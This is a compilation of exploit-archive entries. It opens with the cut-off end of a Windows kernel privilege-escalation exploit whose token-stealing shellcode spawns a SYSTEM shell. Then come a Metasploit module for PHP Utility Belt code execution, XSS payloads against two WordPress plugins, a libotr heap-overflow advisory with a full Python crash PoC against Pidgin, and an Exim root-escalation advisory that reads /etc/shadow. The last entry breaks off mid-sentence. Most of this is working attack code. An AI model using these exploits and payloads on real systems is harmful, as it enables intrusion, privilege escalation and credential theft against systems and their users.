_KPROCESS = "\x50"
_TOKEN = "\xf8"
_UPID = "\xb4"
_APLINKS = "\xb8"
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
IoStatus = c_ulong()
IoStatusBlock = c_ulong()
CreateBuffer1()
CreateBuffer2()
CreateFakeObject()
inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100
# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))
shellcode_address = 0x00020700
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
_WFValue = struct.pack("L", hWFaddr)
sc_pointer = struct.pack("L", shellcode_address+0x4)
restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00"
fixobjheaders = "\x33\xC0" +\
"\x64\x8B\x80\x24\x01\x00\x00" +\
"\x8B\x40\x50" +\
"\x8B\x80\xF4\x00\x00\x00" +\
"\x8B\xD8" +\
"\x8B\x00" +\
"\x8B\x0D" + _WFValue +\
"\x83\xE1\xFC" +\
"\x03\xC9" +\
"\x03\xC1" +\
"\xC7\x00\x00\x00\x00\x00" +\
"\x83\xC3\x30" +\
"\x8B\xC3" +\
"\x8B\x1B" +\
"\x83\xEB\x01" +\
"\x89\x18" +\
"\x5B" +\
"\x5A" +\
"\xC2\x10\x00"
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size = len(shellcode)
orig_size = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
inp = c_ulong()
out = c_ulong()
inp = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Utility Belt Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in PHP Utility Belt,
which is a set of tools for PHP developers and should not be installed in a
production environment, since this application runs arbitrary PHP code as an
intended functionality.
},
'Author' =>
[
'WICS', # initial discovery
'Jay Turla' # msf
],
'References' =>
[
['EDB', '38901'],
['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
],
'DisclosureDate' => 'Aug 12 2015',
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Targets' =>
[
['PHP Utility Belt', {}]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
], self.class)
end
def check
txt = Rex::Text.rand_text_alpha(8)
res = http_send_command("echo #{txt};")
if res && res.body.include?(txt)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
http_send_command(payload.encoded)
end
def http_send_command(cmd)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'code' => cmd
}
)
end
end
* Exploit Title: BWS Captcha Multiple Vulnerabilities
* Discovery Date:12.03.2015
* Public Disclosure Date:03.10.2016
* Exploit Author: Colette Chamberland
* Contact: colette@wordfence.com
* Vendor Homepage: http://bestwebsoft.com/
* Software Link: https://wordpress.org/plugins/captcha/
* Version: <=4.1.5
* Tested on: Wordpress 4.2.x
* Category: Wordpress
* CVE: Requested but none received
Description
================================================================================
Unsanitized input in whitelist.php:
297: $message = __( 'Search results for', $this->textdomain ) . ' : ' . $_REQUEST['s'];
PoC
================================================================================
The variable can be passed in using a get as well as a post. An attacker
could send unsuspecting authenticated admin a url crafted like such:
http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
or they can send a form (no CSRF token check)
<form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
<input type="hidden" name="s" value="<script>alert(1);</script>">
<input type="submit" name="Search IP" value="Click here to claim your prize!">
</form>
and it would execute XSS as long as they were logged in to the site.
1. Introduction
# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS
# Date: Mar.09.2016
# Exploit Author: Mohammad Khaleghi
# Contact: https://twitter.com/_blackmatrix
# Vendor: Ravi Shakya
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1
# Category: Webapps
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment
2. Description
WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin
File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php
<!-- Show Comments -->
<?php
if( $option[$id]['other']['comment_position'] == 1 ){
echo $this->show_like_dislike_button( $value['comment_ID'] ,
$option[$id]['other'] , 'top' );
echo '<p>'.$value['comment_content'].'</p>';
echo $this->show_like_dislike_button( $value['comment_ID'] ,
$option[$id]['other'] , 'bottom' );
}?>
<!-- Get the comment meta -->
<?php
$data = get_option( 'wpad_comment_form' );
if( !empty( $data[$id] ) ):
?>
<div class="wpad_comment_meta">
<ul>
<?php
foreach( $data[$id] as $key => $value1 ){
$show_admin = isset($value1['show_admin']) ?
$value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin );
if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1
['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' &&
$value1['meta_key'] != 'wpad_comment' && $privelage == true ) {
$meta_key = $value1['meta_key'];
$label = $value1['label'];
$meta_value = get_comment_meta( $value['comment_ID'] ,
$meta_key , true ); if( !empty( $meta_value ) ) {
if( $value1['custom_field'] == 'radio' ) {
$radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' );
$this->display_comment_metas_frontend( $label , $radio_value );
}
elseif ( $value1['custom_field'] == 'checkbox' ) {
$check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox');
$this->display_comment_metas_frontend( $label , $check_value ); }
else {
$this->display_comment_metas_frontend( $label , $meta_value );
}
}
}
}
?>
</ul>
</div>
<?php endif; ?>
<!-- Show Comments -->
3. Proof of Concept
Request :
__________________________________________________________________________
Host=127.0.0.1:8080
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept=*/*
X-Requested-With=XMLHttpRequest
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
Content-Length=1399
Content-Type=multipart/form-data;
boundary=---------------------------23741051518289624461916684164
Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
POSTDATA =-----------------------------23741051518289624461916684164
Content-Disposition: form-data; name="action"
wpad_save_comment
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="post_id"
1
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="form_id"
417
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve"
undefined
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]"
bourne
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]"
user_name
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]"
jason_bourne110@yahoo.com
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]"
user_email
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]"
Hack <script>alert("Hacked")</script>
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]"
comment
-----------------------------
23741051518289624461916684164--
Response
______________________________________________________________________
Status=OK - 200
Date=Sat, 06 Feb 2016 18:18:43 GMT
Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache
Content-Length=7
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=UTF-8
4. Report Timeline
09-03-2016 : Discovered
09-03-2016 : Vendor notified
09-03-2016 : Vendor Responded
09-03-2016 : Vendor fixed the problem
5. Solution
Update to version 0.11
'''
X41 D-Sec GmbH Security Advisory: X41-2016-001
Memory Corruption Vulnerability in "libotr"
===========================================
Overview
--------
Severity Rating: high
Confirmed Affected Version: 4.1.0 and below
Confirmed Patched Version: libotr 4.1.1
Vendor: OTR Development Team
Vendor URL: https://otr.cypherpunks.ca
Vendor Reference: OTR Security Advisory 2016-01
Vector: Remote
Credit: X41 D-Sec GmbH, Markus Vervier
Status: public
CVE: CVE-2016-2851
CVSS Score: 8.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/
Summary and Impact
------------------
A remote attacker may crash or execute arbitrary code in libotr by
sending large OTR messages.
While processing specially crafted messages, attacker controlled data on
the heap is written out of bounds.
No special user interaction or authorization is necessary in default
configurations.
Product Description
-------------------
Off-the-Record (OTR) Messaging is a cryptographic protocol used in
well-known instant messaging clients such as Pidgin, ChatSecure, Adium
and others. It is designed to work on top of existing protocols and used
worldwide to provide secure communication in insecure environments.
OTR is regarded as highly secure and according to documents revealed by
Edward Snowden one of the protocols that the NSA is not able to decrypt
via cryptanalysis.
The most commonly used implementation of OTR is "libotr" which is a pure
C code implementation of the OTR protocol.
Analysis
--------
During a manual code review X41 D-Sec GmbH discovered a remotely
exploitable vulnerability in libotr.
By sending large messages, an integer overflow can be triggered which
subsequently leads to a heap overflow on 64 bit architectures.
When a message of type OTRL_MSGSTATE_DATA is received during an
established OTR conversation, this message is passed to function
otrl_proto_accept_data in src/message.c line 1347:
case OTRL_MSGSTATE_ENCRYPTED:
extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
err = otrl_proto_accept_data(&plaintext, &tlvs, context,
message, &flags, extrakey);
After base64 decoding the message and reading various values from it,
the length of a payload is read into a variable of type "unsigned int"
in file proto.c line 784:
read_int(datalen);
It is checked that the message buffer will contain at least a "datalen"
number of bytes using read_int in proto.c line 785:
require_len(datalen);
The macros "read_int" and "required_len" are defined in src/serial.h:
#define require_len(l) do { \
if (lenp < (l)) goto invval; \
} while(0)
#define read_int(x) do { \
require_len(4); \
(x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<
8) | bufp[3]; \
bufp += 4; lenp -= 4; \
} while(0)
4 bytes are read from the message buffer and interpreted as unsigned int
value.
Subsequently a buffer of size datalen+1 is allocated using malloc
in proto.c line 786:
data = malloc(datalen+1);
if (!data) {
err = gcry_error(GPG_ERR_ENOMEM);
goto err;
}
Now data from the message is copied into this buffer using memmove in
line 791:
memmove(data, bufp, datalen);
The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is
read from the message buffer. As datalen is of size 32-bit (unsigned
int) the operation "datalen+1" will wrap around before being passed to
malloc.
This will effectively result in a zero allocation ( malloc(0) ) which is
valid in common implementations of malloc on the x86_64 architecture.
As no addition is done in the value passed to the call to memmove, 4
gigabytes of data are copied out of bounds to the heap location pointed
to by data.
Proof of Concept
----------------
In order to successfully trigger the vulnerability, an attacker must be
able to send a data message of more than 5.5 gigabytes to a victim in
order to pass the check "require_len(datalen)".
Due to the support of fragmented OTR messages assembled by libotr this
is possible in practice. By sending 275 messages of size 20MB each, X41
was able to make libotr process such a data message successfully on a
system with 8GB of ram and 15GB of swap space.
As data types for lenp and other lengths of the message are 64 bit large
size_t types on x86_64 architectures huge messages of multiple gigabytes
are possible.
Sending such a message to a pidgin client took only a few minutes on a
fast network connection without visible signs of any attack to a user.
A proof of concept triggering a heap overwrite and crash in the
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux
architectures is available[1].
The crash occurs due to the overwrite hitting unmapped memory. Using
techniques such as heap grooming, X41 was able to inflate the heap to
more than 4GB and overwrite function pointers and arguments on the heap
in order to take over control flow. A working exploit will not be
published at this time.
Interaction by users beyond having enabled OTR is not necessary as OTR
sessions are automatically established with anyone by default in Pidgin
and other common software using libotr. This also applies to
unauthorized contacts in most default configurations.
Workarounds
-----------
As a temporary workaround on Linux and BSD systems, the amount of memory
available to the process running libotr may be limited to less than 4GB
via ulimit.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus
on application code reviews, design review and security testing. X41
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers
in various industries such as finance, software development and public
institutions.
Timeline
--------
2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0
2016-02-17 Initial PoC
2016-02-18 Vendor contacted
2016-02-18 Vulnerability confirmed by vendor
2016-03-03 Vendor patch available
2016-03-04 CVE requested
2016-03-06 CVE-2016-2851 assigned
2016-03-09 Embargo lifted and disclosure
References
----------
[1]
https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py
'''
#!/usr/bin/python -u
#
### PoC libotr heap overwrite on Pidgin
### 2016-02-17 Markus Vervier
### X41 D-Sec GmbH
### initial code taken from pyxmpp examples (echobot.py)
### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)
### On a loopback interface the exploit took several minutes,
### using XMPP stream compression this could be reduced massively
### pyxmpp does not support it
### We used XMPP connections without TLS to not further complicate the setup
### USAGE
###
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"
### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)
### 2. Disconnect the attacker account
### 3. Fire up this script and let it connect with the attacker account credentials
### 4. Send a message from victim to attacker
### 5. Wait until message sending is complete, pidgin should crash
### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC
### !!! If we would implement full OTR in this script we could send the bad message directly
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags
import sys
import logging
import locale
import codecs
import os, signal
import time
import base64
def ignore_signal_pipe(signum, frame):
print 'signal pipe caught -- IGNORING'
signal.signal(signal.SIGPIPE, ignore_signal_pipe)
from struct import *
from pyxmpp.all import JID,Iq,Presence,Message,StreamError
from pyxmpp.jabber.client import JabberClient
from pyxmpp.interface import implements
from pyxmpp.interfaces import *
from pyxmpp.streamtls import TLSSettings
from enum import Enum
class EchoHandler(object):
"""Provides the actual 'echo' functionality.
Handlers for presence and message stanzas are implemented here.
"""
implements(IMessageHandlersProvider, IPresenceHandlersProvider)
def __init__(self, client):
"""Just remember who created this."""
self.client = client
def get_message_handlers(self):
"""Return list of (message_type, message_handler) tuples.
The handlers returned will be called when matching message is received
in a client session."""
return [
("normal", self.message),
]
def get_presence_handlers(self):
"""Return list of (presence_type, presence_handler) tuples.
The handlers returned will be called when matching presence stanza is
received in a client session."""
return [
(None, self.presence),
("unavailable", self.presence),
("subscribe", self.presence_control),
("subscribed", self.presence_control),
("unsubscribe", self.presence_control),
("unsubscribed", self.presence_control),
]
def message(self,stanza):
"""Message handler for the component.
Echoes the message back if its type is not 'error' or
'headline', also sets own presence status to the message body. Please
note that all message types but 'error' will be passed to the handler
for 'normal' message unless some dedicated handler process them.
:returns: `True` to indicate, that the stanza should not be processed
any further."""
subject=stanza.get_subject()
body=stanza.get_body()
t=stanza.get_type()
m = 0
print u'Message from %s received.' % (unicode(stanza.get_from(),)),
if subject:
print u'Subject: "%s".' % (subject,),
if body:
print u'Body: "%s".' % (body,),
if t:
print u'Type: "%s".' % (t,)
else:
print u'Type: "normal".'
if stanza.get_type()=="headline":
# 'headline' messages should never be replied to
return True
# record instance tag
if body[:9] == u'?OTR:AAMD':
(self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])
print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )
self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)
return m
def b64maxlen(self, chars):
return 1 + (4 * chars / 3)
def parse_aamc(self, msg):
maxlen = self.b64maxlen(8) # 4 byte integer
print "maxlen %u" % (maxlen)
tmp = msg[0:maxlen]
padding = ""
if maxlen % 4 > 1:
padding = "="*(4-(maxlen % 4))
tmp += padding
print "decoding: "+tmp
packed = base64.b64decode(tmp)
# return unpack("I", packed[0:4])
return (packed[0:4], packed[4:8]) # their tag, our tag
def initial_body(self, instance_tag, our_tag):
ret = "?OTR:AAMD";
raw = b''
print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))
#dirty hack
raw += our_tag # sender_nstance_id
raw += instance_tag # receiver_id
raw += "D" # dummy flags
raw += pack("I", 0x1) # sender key id
raw += pack("I", 0x2) # recipient key id
raw += pack("!I", 10) # len next_y
raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)
raw += "12345678" # reveal sig dummy
# yeah overflow!
raw += pack("I", 0xFFFFFFFF); # datalen
ret += base64.b64encode(raw+"A"*(57-len(raw)))
return ret
def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):
print "G-FUNK!"
# this should result in about 0xFFFFFFFF times "A" base64 encoded
len_msg = 5726623060
# fix frag size for base64
frag_size = (frag_size / 4) * 4
frag_msg = "QUFB"*(frag_size / 4)
n = len_msg / frag_size
# does not evenly divide?
if len_msg % frag_size > 0:
n += 1
k = 1
n += 1 # initialbody adds another frame
initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))
print "first fragment: "+initialbody
m = Message(
to_jid=stanza.get_from(),
from_jid=stanza.get_to(),
stanza_type=stanza.get_type(),
subject="foo",
body=initialbody)
self.client.stream.send(m)
k += 1
print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)
cur_pos = 0
while(cur_pos < len_msg):
body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)
m = Message(
to_jid=stanza.get_from(),
from_jid=stanza.get_to(),
stanza_type=stanza.get_type(),
subject="foo",
body=body)
print "cur_pos %u of %u" % (cur_pos, len_msg)
self.client.stream.send(m)
k += 1
cur_pos = frag_size * (k-2)
time.sleep(0.9)
print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)
def presence(self,stanza):
"""Handle 'available' (without 'type') and 'unavailable' <presence/>."""
msg=u"%s has become " % (stanza.get_from())
t=stanza.get_type()
if t=="unavailable":
msg+=u"unavailable"
else:
msg+=u"available"
show=stanza.get_show()
if show:
msg+=u"(%s)" % (show,)
status=stanza.get_status()
if status:
msg+=u": "+status
print msg
def presence_control(self,stanza):
"""Handle subscription control <presence/> stanzas -- acknowledge
them."""
msg=unicode(stanza.get_from())
t=stanza.get_type()
if t=="subscribe":
msg+=u" has requested presence subscription."
elif t=="subscribed":
msg+=u" has accepted our presence subscription request."
elif t=="unsubscribe":
msg+=u" has canceled his subscription of our."
elif t=="unsubscribed":
msg+=u" has canceled our subscription of his presence."
print msg
return stanza.make_accept_response()
class VersionHandler(object):
"""Provides handler for a version query.
This class will answer version query and announce 'jabber:iq:version' namespace
in the client's disco#info results."""
implements(IIqHandlersProvider, IFeaturesProvider)
def __init__(self, client):
"""Just remember who created this."""
self.client = client
def get_features(self):
"""Return namespace which should the client include in its reply to a
disco#info query."""
return ["jabber:iq:version"]
def get_iq_get_handlers(self):
"""Return list of tuples (element_name, namespace, handler) describing
handlers of <iq type='get'/> stanzas"""
return [
("query", "jabber:iq:version", self.get_version),
]
def get_iq_set_handlers(self):
"""Return empty list, as this class provides no <iq type='set'/> stanza handler."""
return []
def get_version(self,iq):
"""Handler for jabber:iq:version queries.
jabber:iq:version queries are not supported directly by PyXMPP, so the
XML node is accessed directly through the libxml2 API. This should be
used very carefully!"""
iq=iq.make_result_response()
q=iq.new_query("jabber:iq:version")
q.newTextChild(q.ns(),"name","Echo component")
q.newTextChild(q.ns(),"version","1.0")
return iq
class Client(JabberClient):
"""Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`
class as base. That class provides basic stream setup (including
authentication) and Service Discovery server. It also does server address
and port discovery based on the JID provided."""
def __init__(self, jid, password, tls_cacerts):
# if bare JID is provided add a resource -- it is required
if not jid.resource:
jid=JID(jid.node, jid.domain, "attacktest")
if tls_cacerts:
if tls_cacerts == 'tls_noverify':
tls_settings = TLSSettings(require = True, verify_peer = False)
else:
tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)
else:
tls_settings = None
# setup client with provided connection information
# and identity data
JabberClient.__init__(self, jid, password,
disco_name="PyXMPP example: echo bot", disco_type="bot",
tls_settings = tls_settings)
# add the separate components
self.interface_providers = [
VersionHandler(self),
EchoHandler(self),
]
def stream_state_changed(self,state,arg):
"""This one is called when the state of stream connecting the component
to a server changes. This will usually be used to let the user
know what is going on."""
print "*** State changed: %s %r ***" % (state,arg)
def print_roster_item(self,item):
if item.name:
name=item.name
else:
name=u""
print (u'%s "%s" subscription=%s groups=%s'
% (unicode(item.jid), name, item.subscription,
u",".join(item.groups)) )
def roster_updated(self,item=None):
if not item:
print u"My roster:"
for item in self.roster.get_items():
self.print_roster_item(item)
return
print u"Roster item updated:"
self.print_roster_item(item)
# XMPP protocol is Unicode-based to properly display data received
# _must_ convert it to local encoding or UnicodeException may be raised
locale.setlocale(locale.LC_CTYPE, "")
encoding = locale.getlocale()[1]
if not encoding:
encoding = "us-ascii"
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")
# PyXMPP uses `logging` module for its debug output
# applications should set it up as needed
logger = logging.getLogger()
logger.addHandler(logging.StreamHandler())
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity
if len(sys.argv) < 3:
print u"Usage:"
print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)
print "example:"
print "\t%s test@localhost verysecret" % (sys.argv[0],)
sys.exit(1)
print u"creating client..."
c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)
print u"connecting..."
c.connect()
print u"looping..."
try:
# Component class provides basic "main loop" for the applitation
# Though, most applications would need to have their own loop and call
# component.stream.loop_iter() from it whenever an event on
# component.stream.fileno() occurs.
c.loop(1)
except IOError, e:
if e.errno == errno.EPIPE:
# IGNORE EPIPE error
print "PIPE ERROR -- IGNORING"
else:
pass
except KeyboardInterrupt:
print u"disconnecting..."
c.disconnect()
print u"exiting..."
# vi: sts=4 et sw=4
=============================================
- Advisory release date: 10.03.2016
- Created by: Dawid Golunski
- Severity: High/Critical
=============================================
I. VULNERABILITY
-------------------------
Exim < 4.86.2 Local Root Privilege Escalation Exploit
II. BACKGROUND
-------------------------
"Exim is a message transfer agent (MTA) developed at the University of
Cambridge for use on Unix systems connected to the Internet. It is freely
available under the terms of the GNU General Public Licence. In style it is
similar to Smail 3, but its facilities are more general. There is a great
deal of flexibility in the way mail can be routed, and there are extensive
facilities for checking incoming mail. Exim can be installed in place of
Sendmail, although the configuration of Exim is quite different."
http://www.exim.org/
III. INTRODUCTION
-------------------------
When Exim installation has been compiled with Perl support and contains a
perl_startup configuration variable it can be exploited by malicious local
attackers to gain root privileges.
IV. DESCRIPTION
-------------------------
The vulnerability stems from Exim in versions below 4.86.2 not performing
sanitization of the environment before loading a perl script defined
with perl_startup setting in exim config.
perl_startup is usually used to load various helper scripts such as
mail filters, gray listing scripts, mail virus scanners etc.
For the option to be supported, exim must have been compiled with Perl
support, which can be verified with:
[dawid@centos7 ~]$ exim -bV -v | grep i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Content_Scanning DKIM Old_Demime PRDR OCSP
To perform the attack, attacker can take advantage of the exim's sendmail
interface which links to an exim binary that has an SUID bit set on it by
default as we can see below:
[dawid@centos7 ~]$ ls -l /usr/sbin/sendmail.exim
lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
[dawid@centos7 ~]$ ls -l /usr/sbin/exim
-rwsr-xr-x. 1 root root 1222416 Dec 7 2015 /usr/sbin/exim
Normally, when exim sendmail interface starts up, it drops its root
privileges before giving control to the user (i.e entering mail contents for
sending etc), however an attacker can make use of the following command line
parameter which is available to all users:
-ps This option applies when an embedded Perl interpreter is linked with
Exim. It overrides the setting of the perl_at_start option, forcing the
starting of the interpreter to occur as soon as Exim is started.
As we can see from the documentation at:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
the perl_at_start option does the following:
"Setting perl_at_start (a boolean option) in the configuration requests a
startup when Exim is entered."
Therefore it is possible to force the execution of the perl_startup script
defined in the Exim's main config before exim drops its root privileges.
To exploit this setting and gain the effective root privilege of the SUID binary,
attackers can inject PERL5OPT perl environment variable, which does not get
cleaned by affected versions of Exim.
As per perl documentation, the environment variable allows to set perl command-line
options (switches). Switches in this variable are treated as if they were on every
Perl command line.
There are several interesting perl switches that that could be set by attackers to
trigger code execution.
One of these is -d switch which forces perl to enter an interactive debug mode
in which it is possible to take control of the perl application.
An example proof of concept exploit using the -d switch can be found below.
V. PROOF OF CONCEPT ROOT EXPLOIT
-------------------------
[dawid@centos7 ~]$ head /etc/exim/exim.conf
######################################################################
# Runtime configuration file for Exim #
######################################################################
# Custom filtering via perl
perl_startup = do '/usr/share/exim4/exigrey.pl'
[dawid@centos7 ~]$ exim -bV -v | grep -i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
[dawid@centos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps victim@localhost
Loading DB routines from perl5db.pl version 1.37
Editor support available.
Enter h or 'h h' for help, or 'man perldebug' for more help.
Debugged program terminated. Use q to quit or R to restart,
use o inhibit_exit to avoid stopping after program termination,
h q, h R or h o to get additional info.
DB<1> p system("id");
uid=0(root) gid=10(wheel) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0
DB<2> p system("head /etc/shadow");
root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
bin:*:16372:0:99999:7:::
daemon:*:16372:0:99999:7::
[...]
VI. BUSINESS IMPACT
-------------------------
This vulnerability could be exploited by attackers who have local access to the
system to escalate their privileges to root which would allow them to fully
compromise the system.
VII. SYSTEMS AFFECTED
-------------------------
Exim versions before the latest patched version of Exim 4.86.2 are affected by
this vulnerability, if Exim was compiled with Perl support and the main
configuration file (i.e /etc/exim/exim.conf or /etc/exim4/exim.conf), contains
